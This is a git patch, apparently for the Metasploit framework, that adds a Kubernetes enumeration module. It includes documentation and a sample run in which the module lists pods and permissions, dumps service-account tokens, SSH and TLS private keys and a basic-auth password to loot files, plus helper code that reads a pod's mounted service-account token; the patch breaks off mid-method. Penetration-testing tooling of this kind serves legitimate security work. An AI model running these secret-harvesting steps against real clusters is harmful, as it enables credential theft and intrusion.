From 803fc808e0422833cf47a0e4186f68055c78ddb0 Mon Sep 17 00:00:00 2001 From: adfoster-r7 Date: Fri, 17 Sep 2021 16:08:32 +0100 Subject: [PATCH 1/4] Add kubernetes enum module --- .../cloud/kubernetes/enum_kubernetes.md | 513 ++++++++++++++++++ lib/msf/core/exploit/remote/http/jwt.rb | 23 + .../core/exploit/remote/http/kubernetes.rb | 99 ++++ .../remote/http/kubernetes/auth_parser.rb | 193 +++++++ .../exploit/remote/http/kubernetes/client.rb | 112 +++- .../remote/http/kubernetes/enumeration.rb | 214 ++++++++ .../exploit/remote/http/kubernetes/error.rb | 28 +- .../exploit/remote/http/kubernetes/output.rb | 5 + .../remote/http/kubernetes/output/json.rb | 53 ++ .../remote/http/kubernetes/output/table.rb | 164 ++++++ .../exploit/remote/http/kubernetes/secret.rb | 29 + lib/msf/ui/console/module_action_commands.rb | 22 +- lib/msf/ui/console/module_argument_parsing.rb | 2 +- .../ui/console/table_print/age_formatter.rb | 55 ++ .../table_print/highlight_substring_styler.rb | 10 +- lib/msf_autoload.rb | 1 + .../cloud/kubernetes/enum_kubernetes.rb | 104 ++++ modules/exploits/multi/kubernetes/exec.rb | 90 +-- .../http/kubernetes/auth_parser_spec.rb | 65 +++ .../console/table_print/age_formatter_spec.rb | 52 ++ .../highlight_substring_styler_spec.rb | 7 + .../console/module_argument_parsing_spec.rb | 34 ++ spec/support/shared/contexts/msf/ui_driver.rb | 18 +- 23 files changed, 1769 insertions(+), 124 deletions(-) create mode 100644 documentation/modules/auxiliary/cloud/kubernetes/enum_kubernetes.md create mode 100644 lib/msf/core/exploit/remote/http/jwt.rb create mode 100644 lib/msf/core/exploit/remote/http/kubernetes.rb create mode 100644 lib/msf/core/exploit/remote/http/kubernetes/auth_parser.rb create mode 100644 lib/msf/core/exploit/remote/http/kubernetes/enumeration.rb create mode 100644 lib/msf/core/exploit/remote/http/kubernetes/output.rb create mode 100644 lib/msf/core/exploit/remote/http/kubernetes/output/json.rb create mode 100644 lib/msf/core/exploit/remote/http/kubernetes/output/table.rb create mode 100644 lib/msf/core/exploit/remote/http/kubernetes/secret.rb create mode 100644 lib/msf/ui/console/table_print/age_formatter.rb create mode 100644 modules/auxiliary/cloud/kubernetes/enum_kubernetes.rb create mode 100644 spec/lib/msf/exploit/remote/http/kubernetes/auth_parser_spec.rb create mode 100644 spec/lib/msf/ui/console/table_print/age_formatter_spec.rb diff --git a/documentation/modules/auxiliary/cloud/kubernetes/enum_kubernetes.md b/documentation/modules/auxiliary/cloud/kubernetes/enum_kubernetes.md new file mode 100644 index 000000000000..3b6b5c31631c --- /dev/null +++ b/documentation/modules/auxiliary/cloud/kubernetes/enum_kubernetes.md @@ -0,0 +1,513 @@ +## Vulnerable Application + +### Description + +Enumerates a Kubernetes cluster. + +## Verification Steps + +### Create or acquire the credentials + +1. Start msfconsole +2. Do: `use auxiliary/cloud/kubernetes/enum_kubernetes` +3. Set the required options +4. Do: `run` +5: You should see the enumerated resources from the Kubernetes API. + +## Options + +### SESSION +An optional session to use for configuration. When specified, the values of `NAMESPACE`, `TOKEN`, `RHOSTS` and `RPORT` +will be gathered from the session host. This requires that the session be on an existing Kubernetes pod. The necessary +values may not always be present. + +Setting this option will also automatically route connections through the specified session. + +### TOKEN +The JWT token. The token with the necessary privileges to access the exec endpoint within a running pod and optionally +create a new pod. + +### POD +The pod name to execute in. When not specified, a new pod will be created with an entrypoint that allows it to run +forever. After creation, the pod will be used to execute the payload. **The created pod is not automatically cleaned +up.** A note containing the created pod's information will be added to the database when it is connected. + +### NAMESPACE +The Kubernetes namespace that the `TOKEN` has permissions for and that `POD` either exists in or should be created in. + +### NAMESPACE_LIST + +The default namespace list to iterate when the current token does not have the permission to retrieve the available namespaces + +### HIGHLIGHT_NAME_PATTERN +A PCRE regex of resource names to highlight. + +### OUTPUT +Output format, allowed values are: table, json + +## Scenarios + +### Run all enumeration + +Explicitly setting RHOST and TOKEN to enumerate all available namespaces, and associated resources: + +``` +msf6 > use cloud/kubernetes/enum_kubernetes +msf6 auxiliary(cloud/kubernetes/enum_kubernetes) > set RHOST https://kubernetes.docker.internal:6443 +RHOST => https://kubernetes.docker.internal:6443 +msf6 auxiliary(cloud/kubernetes/enum_kubernetes) > set TOKEN eyJhbGciO... +TOKEN => eyJhbGciO... +msf6 auxiliary(cloud/kubernetes/enum_kubernetes) > run +[*] Running module against 127.0.0.1 + +[+] Kubernetes service version: {"major":"1","minor":"21","gitVersion":"v1.21.2","gitCommit":"092fbfbf53427de67cac1e9fa54aaa09a28371d7","gitTreeState":"clean","buildDate":"2021-06-16T12:53:14Z","goVersion":"go1.16.5","compiler":"gc","platform":"linux/amd64"} +[+] Enumerating namespaces +Namespaces +========== + + # name + - ---- + 0 default + 1 kube-node-lease + 2 kube-public + 3 kube-system + 4 kubernetes-dashboard + +[+] Namespace 0: default +Auth (namespace: default) +========================= + + Resources Non-Resource URLs Resource Names Verbs + --------- ----------------- -------------- ----- + *.* [] [] [*] + selfsubjectaccessreviews.authorization.k8s.io [] [] [create] + selfsubjectrulesreviews.authorization.k8s.io [] [] [create] + [*] [] [*] + [/.well-known/openid-configuration] [] [get] + [/api/*] [] [get] + [/api] [] [get] + [/apis/*] [] [get] + [/apis] [] [get] + [/healthz] [] [get] + [/healthz] [] [get] + [/livez] [] [get] + [/livez] [] [get] + [/openapi/*] [] [get] + [/openapi] [] [get] + [/openid/v1/jwks] [] [get] + [/readyz] [] [get] + [/readyz] [] [get] + [/version/] [] [get] + [/version/] [] [get] + [/version] [] [get] + [/version] [] [get] + +Pods (namespace: default) +========================= + + # namespace name status containers ip + - --------- ---- ------ ---------- -- + 0 default a4bg7r Running iyxz0ujfck9t (image: vulhub/thinkphp:5.0.23) 10.1.1.51 + 1 default appjokbpiiml Running iggapn (image: vulhub/thinkphp:5.0.23) 10.1.1.57 + 2 default cvyf4m9le Running t0e93vcuyi (image: vulhub/thinkphp:5.0.23) 10.1.1.53 + 3 default fh4bfdtf Running dygvv (image: vulhub/thinkphp:5.0.23) 10.1.1.52 + 4 default gavp Running jfwdaei (image: vulhub/thinkphp:5.0.23) 10.1.1.58 + 5 default mkfkuwd6hkd1 Running aoavh (image: vulhub/thinkphp:5.0.23) 10.1.1.62 + 6 default nid7jd Running geb (image: vulhub/thinkphp:5.0.23) 10.1.1.45 + 7 default redis-7fd956df5-sbchb Running redis (image: redis:5.0.4 TCP:6379) 10.1.1.56 + 8 default thinkphp-67f7c88cc9-djg6q Running thinkphp (image: vulhub/thinkphp:5.0.23 TCP:80) 10.1.1.55 + 9 default thinkphp-67f7c88cc9-l56mg Running thinkphp (image: vulhub/thinkphp:5.0.23 TCP:80) 10.1.1.44 + 10 default usuuucs Running xfcw (image: vulhub/thinkphp:5.0.23) 10.1.1.50 + 11 default v2xxl7z Running nu3s (image: vulhub/thinkphp:5.0.23) 10.1.1.61 + 12 default yulfpaohsepk Running jjmxkkzgkmy (image: vulhub/thinkphp:5.0.23) 10.1.1.47 + +Secrets (namespace: default) +============================ + + # namespace name type data age + - --------- ---- ---- ---- --- + 0 default default-token-btlkb kubernetes.io/service-account-token ca.crt,namespace,token 8d + 1 default local-registry kubernetes.io/dockerconfigjson .dockerconfigjson 7d15h + 2 default secret-basic-auth kubernetes.io/basic-auth password,username 8d + 3 default secret-empty Opaque 8d + 4 default secret-id-ed25519-with-passphrase kubernetes.io/ssh-auth ssh-privatekey 7d15h + 5 default secret-id-ed25519-without-passphrase kubernetes.io/ssh-auth ssh-privatekey 7d15h + 6 default secret-id-rsa-with-passphrase kubernetes.io/ssh-auth ssh-privatekey 8d + 7 default secret-id-rsa-without-passphrase kubernetes.io/ssh-auth ssh-privatekey 8d + 8 default secret-tls kubernetes.io/tls tls.crt,tls.key 8d + +[+] service token default-token-btlkb: /Users/user/.msf4/loot/20211006105714_default_127.0.0.1_kubernetes.token_257374.bin +[+] dockerconfig json local-registry: /Users/user/.msf4/loot/20211006105714_default_unknown_docker.json_543280.bin +[+] basic_auth secret-basic-auth: admin:password213 +[+] ssh_key secret-id-ed25519-with-passphrase: /Users/user/.msf4/loot/20211006105714_default_unknown_id_rsa_861231.txt +[+] ssh_key secret-id-ed25519-without-passphrase: /Users/user/.msf4/loot/20211006105714_default_unknown_id_rsa_095417.txt +[+] ssh_key secret-id-rsa-with-passphrase: /Users/user/.msf4/loot/20211006105714_default_unknown_id_rsa_246326.txt +[+] ssh_key secret-id-rsa-without-passphrase: /Users/user/.msf4/loot/20211006105714_default_unknown_id_rsa_429821.txt +[+] tls_key secret-tls: /Users/user/.msf4/loot/20211006105714_default_unknown_tls.key_651137.txt +[+] tls_cert secret-tls: /Users/user/.msf4/loot/20211006105714_default_unknown_tls.cert_025932.txt (/CN=example.com) + +[+] Namespace 1: kube-node-lease +Auth (namespace: kube-node-lease) +================================= + + Resources Non-Resource URLs Resource Names Verbs + --------- ----------------- -------------- ----- + *.* [] [] [*] + selfsubjectaccessreviews.authorization.k8s.io [] [] [create] + selfsubjectrulesreviews.authorization.k8s.io [] [] [create] + [*] [] [*] + [/.well-known/openid-configuration] [] [get] + [/api/*] [] [get] + [/api] [] [get] + [/apis/*] [] [get] + [/apis] [] [get] + [/healthz] [] [get] + [/healthz] [] [get] + [/livez] [] [get] + [/livez] [] [get] + [/openapi/*] [] [get] + [/openapi] [] [get] + [/openid/v1/jwks] [] [get] + [/readyz] [] [get] + [/readyz] [] [get] + [/version/] [] [get] + [/version/] [] [get] + [/version] [] [get] + [/version] [] [get] + +Pods (namespace: kube-node-lease) +================================= + + # namespace name status containers ip + - --------- ---- ------ ---------- -- + No rows + +Secrets (namespace: kube-node-lease) +==================================== + + # namespace name type data age + - --------- ---- ---- ---- --- + 0 kube-node-lease default-token-54967 kubernetes.io/service-account-token ca.crt,namespace,token 19d + +[+] service token default-token-54967: /Users/user/.msf4/loot/20211006105714_default_127.0.0.1_kubernetes.token_727718.bin + +[+] Namespace 2: kube-public +Auth (namespace: kube-public) +============================= + + Resources Non-Resource URLs Resource Names Verbs + --------- ----------------- -------------- ----- + *.* [] [] [*] + selfsubjectaccessreviews.authorization.k8s.io [] [] [create] + selfsubjectrulesreviews.authorization.k8s.io [] [] [create] + [*] [] [*] + [/.well-known/openid-configuration] [] [get] + [/api/*] [] [get] + [/api] [] [get] + [/apis/*] [] [get] + [/apis] [] [get] + [/healthz] [] [get] + [/healthz] [] [get] + [/livez] [] [get] + [/livez] [] [get] + [/openapi/*] [] [get] + [/openapi] [] [get] + [/openid/v1/jwks] [] [get] + [/readyz] [] [get] + [/readyz] [] [get] + [/version/] [] [get] + [/version/] [] [get] + [/version] [] [get] + [/version] [] [get] + +Pods (namespace: kube-public) +============================= + + # namespace name status containers ip + - --------- ---- ------ ---------- -- + No rows + +Secrets (namespace: kube-public) +================================ + + # namespace name type data age + - --------- ---- ---- ---- --- + 0 kube-public default-token-2r2s4 kubernetes.io/service-account-token ca.crt,namespace,token 19d + +[+] service token default-token-2r2s4: /Users/user/.msf4/loot/20211006105714_default_127.0.0.1_kubernetes.token_198155.bin + +[+] Namespace 3: kube-system +Auth (namespace: kube-system) +============================= + + Resources Non-Resource URLs Resource Names Verbs + --------- ----------------- -------------- ----- + *.* [] [] [*] + selfsubjectaccessreviews.authorization.k8s.io [] [] [create] + selfsubjectrulesreviews.authorization.k8s.io [] [] [create] + [*] [] [*] + [/.well-known/openid-configuration] [] [get] + [/api/*] [] [get] + [/api] [] [get] + [/apis/*] [] [get] + [/apis] [] [get] + [/healthz] [] [get] + [/healthz] [] [get] + [/livez] [] [get] + [/livez] [] [get] + [/openapi/*] [] [get] + [/openapi] [] [get] + [/openid/v1/jwks] [] [get] + [/readyz] [] [get] + [/readyz] [] [get] + [/version/] [] [get] + [/version/] [] [get] + [/version] [] [get] + [/version] [] [get] + +Pods (namespace: kube-system) +============================= + + # namespace name status containers ip + - --------- ---- ------ ---------- -- + 0 kube-system coredns-558bd4d5db-2fspm Running coredns (image: k8s.gcr.io/coredns/coredns:v1.8.0 UDP:53,TCP:53,TCP:9153) 10.1.1.48 + 1 kube-system coredns-558bd4d5db-zx7k5 Running coredns (image: k8s.gcr.io/coredns/coredns:v1.8.0 UDP:53,TCP:53,TCP:9153) 10.1.1.59 + 2 kube-system etcd-docker-desktop Running etcd (image: k8s.gcr.io/etcd:3.4.13-0) 192.168.65.4 + 3 kube-system kube-apiserver-docker-desktop Running kube-apiserver (image: k8s.gcr.io/kube-apiserver:v1.21.2) 192.168.65.4 + 4 kube-system kube-controller-manager-docker-desktop Running kube-controller-manager (image: k8s.gcr.io/kube-controller-manager:v1.21.2) 192.168.65.4 + 5 kube-system kube-proxy-tvgm2 Running kube-proxy (image: k8s.gcr.io/kube-proxy:v1.21.2) 192.168.65.4 + 6 kube-system kube-scheduler-docker-desktop Running kube-scheduler (image: k8s.gcr.io/kube-scheduler:v1.21.2) 192.168.65.4 + 7 kube-system storage-provisioner Running storage-provisioner (image: docker/desktop-storage-provisioner:v2.0) 10.1.1.49 + 8 kube-system vpnkit-controller Running vpnkit-controller (image: docker/desktop-vpnkit-controller:v2.0) 10.1.1.54 + +Secrets (namespace: kube-system) +================================ + + # namespace name type data age + - --------- ---- ---- ---- --- + 0 kube-system attachdetach-controller-token-4tnpl kubernetes.io/service-account-token ca.crt,namespace,token 19d + 1 kube-system bootstrap-signer-token-kqgwd kubernetes.io/service-account-token ca.crt,namespace,token 19d + 2 kube-system certificate-controller-token-g2lcs kubernetes.io/service-account-token ca.crt,namespace,token 19d + 3 kube-system clusterrole-aggregation-controller-token-9kh9j kubernetes.io/service-account-token ca.crt,namespace,token 19d + 4 kube-system coredns-token-xjv86 kubernetes.io/service-account-token ca.crt,namespace,token 19d + 5 kube-system cronjob-controller-token-wddp5 kubernetes.io/service-account-token ca.crt,namespace,token 19d + 6 kube-system daemon-set-controller-token-7w2wt kubernetes.io/service-account-token ca.crt,namespace,token 19d + 7 kube-system default-token-hq24x kubernetes.io/service-account-token ca.crt,namespace,token 19d + 8 kube-system deployment-controller-token-bf8ks kubernetes.io/service-account-token ca.crt,namespace,token 19d + 9 kube-system disruption-controller-token-j4mlp kubernetes.io/service-account-token ca.crt,namespace,token 19d + 10 kube-system endpoint-controller-token-sqdg2 kubernetes.io/service-account-token ca.crt,namespace,token 19d + 11 kube-system endpointslice-controller-token-wr2v9 kubernetes.io/service-account-token ca.crt,namespace,token 19d + 12 kube-system endpointslicemirroring-controller-token-4lqdn kubernetes.io/service-account-token ca.crt,namespace,token 19d + 13 kube-system ephemeral-volume-controller-token-67k95 kubernetes.io/service-account-token ca.crt,namespace,token 19d + 14 kube-system expand-controller-token-cmfwt kubernetes.io/service-account-token ca.crt,namespace,token 19d + 15 kube-system generic-garbage-collector-token-sxdc8 kubernetes.io/service-account-token ca.crt,namespace,token 19d + 16 kube-system horizontal-pod-autoscaler-token-267qc kubernetes.io/service-account-token ca.crt,namespace,token 19d + 17 kube-system job-controller-token-hzv9p kubernetes.io/service-account-token ca.crt,namespace,token 19d + 18 kube-system kube-proxy-token-cqw2h kubernetes.io/service-account-token ca.crt,namespace,token 19d + 19 kube-system namespace-controller-token-cldm6 kubernetes.io/service-account-token ca.crt,namespace,token 19d + 20 kube-system node-controller-token-tjtk5 kubernetes.io/service-account-token ca.crt,namespace,token 19d + 21 kube-system persistent-volume-binder-token-2n7jx kubernetes.io/service-account-token ca.crt,namespace,token 19d + 22 kube-system pod-garbage-collector-token-vgzrz kubernetes.io/service-account-token ca.crt,namespace,token 19d + 23 kube-system pv-protection-controller-token-5jvqn kubernetes.io/service-account-token ca.crt,namespace,token 19d + 24 kube-system pvc-protection-controller-token-jg5sn kubernetes.io/service-account-token ca.crt,namespace,token 19d + 25 kube-system replicaset-controller-token-zvblz kubernetes.io/service-account-token ca.crt,namespace,token 19d + 26 kube-system replication-controller-token-tcj4p kubernetes.io/service-account-token ca.crt,namespace,token 19d + 27 kube-system resourcequota-controller-token-q5nsg kubernetes.io/service-account-token ca.crt,namespace,token 19d + 28 kube-system root-ca-cert-publisher-token-ghh92 kubernetes.io/service-account-token ca.crt,namespace,token 19d + 29 kube-system service-account-controller-token-ljxn7 kubernetes.io/service-account-token ca.crt,namespace,token 19d + 30 kube-system service-controller-token-dg8ks kubernetes.io/service-account-token ca.crt,namespace,token 19d + 31 kube-system statefulset-controller-token-dcx8k kubernetes.io/service-account-token ca.crt,namespace,token 19d + 32 kube-system storage-provisioner-token-52m2w kubernetes.io/service-account-token ca.crt,namespace,token 19d + 33 kube-system token-cleaner-token-lc8jh kubernetes.io/service-account-token ca.crt,namespace,token 19d + 34 kube-system ttl-after-finished-controller-token-qkv66 kubernetes.io/service-account-token ca.crt,namespace,token 19d + 35 kube-system ttl-controller-token-rw6zq kubernetes.io/service-account-token ca.crt,namespace,token 19d + 36 kube-system vpnkit-controller-token-l9ljz kubernetes.io/service-account-token ca.crt,namespace,token 19d + +[+] service token attachdetach-controller-token-4tnpl: /Users/user/.msf4/loot/20211006105714_default_127.0.0.1_kubernetes.token_443806.bin +[+] service token bootstrap-signer-token-kqgwd: /Users/user/.msf4/loot/20211006105714_default_127.0.0.1_kubernetes.token_334381.bin +[+] service token certificate-controller-token-g2lcs: /Users/user/.msf4/loot/20211006105714_default_127.0.0.1_kubernetes.token_780446.bin +[+] service token clusterrole-aggregation-controller-token-9kh9j: /Users/user/.msf4/loot/20211006105714_default_127.0.0.1_kubernetes.token_695659.bin +[+] service token coredns-token-xjv86: /Users/user/.msf4/loot/20211006105714_default_127.0.0.1_kubernetes.token_035400.bin +[+] service token cronjob-controller-token-wddp5: /Users/user/.msf4/loot/20211006105714_default_127.0.0.1_kubernetes.token_256456.bin +[+] service token daemon-set-controller-token-7w2wt: /Users/user/.msf4/loot/20211006105714_default_127.0.0.1_kubernetes.token_370856.bin +[+] service token default-token-hq24x: /Users/user/.msf4/loot/20211006105714_default_127.0.0.1_kubernetes.token_167584.bin +[+] service token deployment-controller-token-bf8ks: /Users/user/.msf4/loot/20211006105714_default_127.0.0.1_kubernetes.token_668044.bin +[+] service token disruption-controller-token-j4mlp: /Users/user/.msf4/loot/20211006105714_default_127.0.0.1_kubernetes.token_025629.bin +[+] service token endpoint-controller-token-sqdg2: /Users/user/.msf4/loot/20211006105714_default_127.0.0.1_kubernetes.token_952597.bin +[+] service token endpointslice-controller-token-wr2v9: /Users/user/.msf4/loot/20211006105714_default_127.0.0.1_kubernetes.token_454535.bin +[+] service token endpointslicemirroring-controller-token-4lqdn: /Users/user/.msf4/loot/20211006105714_default_127.0.0.1_kubernetes.token_573333.bin +[+] service token ephemeral-volume-controller-token-67k95: /Users/user/.msf4/loot/20211006105714_default_127.0.0.1_kubernetes.token_791145.bin +[+] service token expand-controller-token-cmfwt: /Users/user/.msf4/loot/20211006105714_default_127.0.0.1_kubernetes.token_350984.bin +[+] service token generic-garbage-collector-token-sxdc8: /Users/user/.msf4/loot/20211006105714_default_127.0.0.1_kubernetes.token_095555.bin +[+] service token horizontal-pod-autoscaler-token-267qc: /Users/user/.msf4/loot/20211006105714_default_127.0.0.1_kubernetes.token_696872.bin +[+] service token job-controller-token-hzv9p: /Users/user/.msf4/loot/20211006105714_default_127.0.0.1_kubernetes.token_709657.bin +[+] service token kube-proxy-token-cqw2h: /Users/user/.msf4/loot/20211006105714_default_127.0.0.1_kubernetes.token_148992.bin +[+] service token namespace-controller-token-cldm6: /Users/user/.msf4/loot/20211006105714_default_127.0.0.1_kubernetes.token_138901.bin +[+] service token node-controller-token-tjtk5: /Users/user/.msf4/loot/20211006105714_default_127.0.0.1_kubernetes.token_113414.bin +[+] service token persistent-volume-binder-token-2n7jx: /Users/user/.msf4/loot/20211006105714_default_127.0.0.1_kubernetes.token_154991.bin +[+] service token pod-garbage-collector-token-vgzrz: /Users/user/.msf4/loot/20211006105714_default_127.0.0.1_kubernetes.token_413568.bin +[+] service token pv-protection-controller-token-5jvqn: /Users/user/.msf4/loot/20211006105714_default_127.0.0.1_kubernetes.token_233791.bin +[+] service token pvc-protection-controller-token-jg5sn: /Users/user/.msf4/loot/20211006105714_default_127.0.0.1_kubernetes.token_468067.bin +[+] service token replicaset-controller-token-zvblz: /Users/user/.msf4/loot/20211006105714_default_127.0.0.1_kubernetes.token_821269.bin +[+] service token replication-controller-token-tcj4p: /Users/user/.msf4/loot/20211006105714_default_127.0.0.1_kubernetes.token_210131.bin +[+] service token resourcequota-controller-token-q5nsg: /Users/user/.msf4/loot/20211006105714_default_127.0.0.1_kubernetes.token_510682.bin +[+] service token root-ca-cert-publisher-token-ghh92: /Users/user/.msf4/loot/20211006105714_default_127.0.0.1_kubernetes.token_341707.bin +[+] service token service-account-controller-token-ljxn7: /Users/user/.msf4/loot/20211006105714_default_127.0.0.1_kubernetes.token_242421.bin +[+] service token service-controller-token-dg8ks: /Users/user/.msf4/loot/20211006105714_default_127.0.0.1_kubernetes.token_231000.bin +[+] service token statefulset-controller-token-dcx8k: /Users/user/.msf4/loot/20211006105714_default_127.0.0.1_kubernetes.token_346820.bin +[+] service token storage-provisioner-token-52m2w: /Users/user/.msf4/loot/20211006105714_default_127.0.0.1_kubernetes.token_889808.bin +[+] service token token-cleaner-token-lc8jh: /Users/user/.msf4/loot/20211006105714_default_127.0.0.1_kubernetes.token_071179.bin +[+] service token ttl-after-finished-controller-token-qkv66: /Users/user/.msf4/loot/20211006105714_default_127.0.0.1_kubernetes.token_155663.bin +[+] service token ttl-controller-token-rw6zq: /Users/user/.msf4/loot/20211006105714_default_127.0.0.1_kubernetes.token_730592.bin +[+] service token vpnkit-controller-token-l9ljz: /Users/user/.msf4/loot/20211006105714_default_127.0.0.1_kubernetes.token_693223.bin + +[+] Namespace 4: kubernetes-dashboard +Auth (namespace: kubernetes-dashboard) +====================================== + + Resources Non-Resource URLs Resource Names Verbs + --------- ----------------- -------------- ----- + *.* [] [] [*] + selfsubjectaccessreviews.authorization.k8s.io [] [] [create] + selfsubjectrulesreviews.authorization.k8s.io [] [] [create] + [*] [] [*] + [/.well-known/openid-configuration] [] [get] + [/api/*] [] [get] + [/api] [] [get] + [/apis/*] [] [get] + [/apis] [] [get] + [/healthz] [] [get] + [/healthz] [] [get] + [/livez] [] [get] + [/livez] [] [get] + [/openapi/*] [] [get] + [/openapi] [] [get] + [/openid/v1/jwks] [] [get] + [/readyz] [] [get] + [/readyz] [] [get] + [/version/] [] [get] + [/version/] [] [get] + [/version] [] [get] + [/version] [] [get] + +Pods (namespace: kubernetes-dashboard) +====================================== + + # namespace name status containers ip + - --------- ---- ------ ---------- -- + 0 kubernetes-dashboard dashboard-metrics-scraper-856586f554-c2pz5 Running dashboard-metrics-scraper (image: kubernetesui/metrics-scraper:v1.0.6 TCP:8000) 10.1.1.60 + 1 kubernetes-dashboard kubernetes-dashboard-67484c44f6-4hh4j Running kubernetes-dashboard (image: kubernetesui/dashboard:v2.3.1 TCP:8443) 10.1.1.46 + +Secrets (namespace: kubernetes-dashboard) +========================================= + + # namespace name type data age + - --------- ---- ---- ---- --- + 0 kubernetes-dashboard default-token-6gwtz kubernetes.io/service-account-token ca.crt,namespace,token 19d + 1 kubernetes-dashboard kubernetes-dashboard-certs Opaque 19d + 2 kubernetes-dashboard kubernetes-dashboard-csrf Opaque csrf 19d + 3 kubernetes-dashboard kubernetes-dashboard-key-holder Opaque priv,pub 19d + 4 kubernetes-dashboard kubernetes-dashboard-token-gfhhr kubernetes.io/service-account-token ca.crt,namespace,token 19d + +[+] service token default-token-6gwtz: /Users/user/.msf4/loot/20211006105714_default_127.0.0.1_kubernetes.token_854995.bin +[+] service token kubernetes-dashboard-token-gfhhr: /Users/user/.msf4/loot/20211006105714_default_127.0.0.1_kubernetes.token_729795.bin + +[*] Auxiliary module execution completed +msf6 auxiliary(cloud/kubernetes/enum_kubernetes) > +``` + +### Using actions + +See available actions: + +``` +msf6 auxiliary(cloud/kubernetes/enum_kubernetes) > show actions + +Auxiliary actions: + + Name Description + ---- ----------- + all enumerate all resources + auth enumerate auth + namespace enumerate namespace + namespaces enumerate namespaces + pod enumerate pod + pods enumerate pods + secret enumerate secret + secrets enumerate secrets + version enumerate version + +``` + +Enumerate pods: +``` +msf6 auxiliary(cloud/kubernetes/enum_kubernetes) > pods +[*] Running module against 127.0.0.1 +Pods (namespace: default) +========================= + + # namespace name status containers ip + - --------- ---- ------ ---------- -- + 0 default a4bg7r Running iyxz0ujfck9t (image: vulhub/thinkphp:5.0.23) 10.1.1.51 + 1 default appjokbpiiml Running iggapn (image: vulhub/thinkphp:5.0.23) 10.1.1.57 + 2 default cvyf4m9le Running t0e93vcuyi (image: vulhub/thinkphp:5.0.23) 10.1.1.53 + 3 default fh4bfdtf Running dygvv (image: vulhub/thinkphp:5.0.23) 10.1.1.52 + 4 default gavp Running jfwdaei (image: vulhub/thinkphp:5.0.23) 10.1.1.58 + 5 default mkfkuwd6hkd1 Running aoavh (image: vulhub/thinkphp:5.0.23) 10.1.1.62 + 6 default nid7jd Running geb (image: vulhub/thinkphp:5.0.23) 10.1.1.45 + 7 default redis-7fd956df5-sbchb Running redis (image: redis:5.0.4 TCP:6379) 10.1.1.56 + 8 default thinkphp-67f7c88cc9-djg6q Running thinkphp (image: vulhub/thinkphp:5.0.23 TCP:80) 10.1.1.55 + 9 default thinkphp-67f7c88cc9-l56mg Running thinkphp (image: vulhub/thinkphp:5.0.23 TCP:80) 10.1.1.44 + 10 default usuuucs Running xfcw (image: vulhub/thinkphp:5.0.23) 10.1.1.50 + 11 default v2xxl7z Running nu3s (image: vulhub/thinkphp:5.0.23) 10.1.1.61 + 12 default yulfpaohsepk Running jjmxkkzgkmy (image: vulhub/thinkphp:5.0.23) 10.1.1.47 + + +[*] Auxiliary module execution completed +``` + +Enumerate a pod with a specified namespace, name: + +``` +msf6 auxiliary(cloud/kubernetes/enum_kubernetes) > pod namespace=default name=redis-7fd956df5-sbchb +[*] Running module against 127.0.0.1 +Pods (namespace: default) +========================= + + # namespace name status containers ip + - --------- ---- ------ ---------- -- + 0 default redis-7fd956df5-sbchb Running redis (image: redis:5.0.4 TCP:6379) 10.1.1.56 + + +[*] Auxiliary module execution completed +``` + +Enumerate a pod with a specified namespace, name, and outputting the result as JSON: + +``` +msf6 auxiliary(cloud/kubernetes/enum_kubernetes) > pod namespace=default name=redis-7fd956df5-sbchb output=json +[*] Running module against 127.0.0.1 + +[ + { + "kind": "Pod", + "apiVersion": "v1", + "metadata": { + "name": "redis-7fd956df5-sbchb", + "generateName": "redis-7fd956df5-", + "namespace": "default", + "uid": "0f00c08c-bdb1-4206-94ce-5c447cd2d446", + "resourceVersion": "629723", + "creationTimestamp": "2021-09-16T22:33:33Z", + "labels": { + "app": "redis", + "pod-template-hash": "7fd956df5", + "role": "leader", + "tier": "backend" + }, + }, + ... etc ... + } +] +[*] Auxiliary module execution completed +``` diff --git a/lib/msf/core/exploit/remote/http/jwt.rb b/lib/msf/core/exploit/remote/http/jwt.rb new file mode 100644 index 000000000000..6d6867d87e85 --- /dev/null +++ b/lib/msf/core/exploit/remote/http/jwt.rb @@ -0,0 +1,23 @@ +# Minimal JWT wrapper which only decodes the base64 header/claim values, +# and doesn't encode/validate JWT tokens. +# +# Note that swapping this out for a third-party gem will work, but +# there may be potential security issues with the key id (kid) claim etc, +# which would need to be reviewed. +module Msf::Exploit::Remote::HTTP::JWT + module_function + + def encode(payload, key, algorithm = 'HS256', header_fields = {}) + raise NotImplementedError + end + + def decode(jwt, _key = nil, _verify = true, _options = {}) + header, payload, signature = jwt.split('.', 3) + raise ArgumentError, "Invalid JWT format" if header.nil? || payload.nil? || signature.nil? + + header = JSON.parse(Rex::Text.decode_base64(header)) + payload = JSON.parse(Rex::Text.decode_base64(payload)) + + [payload, header] + end +end diff --git a/lib/msf/core/exploit/remote/http/kubernetes.rb b/lib/msf/core/exploit/remote/http/kubernetes.rb new file mode 100644 index 000000000000..934acead8023 --- /dev/null +++ b/lib/msf/core/exploit/remote/http/kubernetes.rb @@ -0,0 +1,99 @@ +# -*- coding: binary -*- + +# Base mixin for Kubernetes exploits, +module Msf::Exploit::Remote::HTTP::Kubernetes + include Msf::PostMixin + include Msf::Post::File + + def initialize(info = {}) + super + + register_options( + [ + Msf::OptString.new('TOKEN', [false, 'Kubernetes API token']), + Msf::OptString.new('NAMESPACE', [false, 'The Kubernetes namespace', 'default']), + ] + ) + end + + def connect_ws(opts = {}, *args) + opts['comm'] = session + opts['vhost'] = rhost + super + end + + def send_request_raw(opts = {}, *args) + opts['comm'] = session + opts['vhost'] = rhost + super + end + + def api_token + @api_token || datastore['TOKEN'] + end + + def rhost + @rhost || datastore['RHOST'] + end + + def rport + @rport || datastore['RPORT'] + end + + def namespace + @namespace || datastore['NAMESPACE'] + end + + def configure_via_session + vprint_status("Configuring options via session #{session.sid}") + + unless directory?('/run/secrets/kubernetes.io') + # This would imply that the target is not a Kubernetes container + fail_with(Msf::Module::Failure::NotFound, 'The kubernetes.io directory was not found') + end + + if api_token.blank? + token = read_file('/run/secrets/kubernetes.io/serviceaccount/token') + fail_with(Msf::Module::Failure::NotFound, 'The API token was not found, manually set the TOKEN option') if token.blank? + + print_good("API Token: #{token}") + @api_token = token + end + + if namespace.blank? + ns = read_file('/run/secrets/kubernetes.io/serviceaccount/namespace') + fail_with(Msf::Module::Failure::NotFound, 'The namespace was not found, manually set the NAMESPACE option') if ns.blank? + + print_good("Namespace: #{ns}") + @namespace = ns + end + + service_host = service_port = nil + if rhost.blank? + service_host = get_env('KUBERNETES_SERVICE_HOST') + fail_with(Msf::Module::Failure::NotFound, 'The KUBERNETES_SERVICE_HOST environment variable was not found, manually set the RHOSTS option') if service_host.blank? + + @rhost = service_host + end + + if rport.blank? + 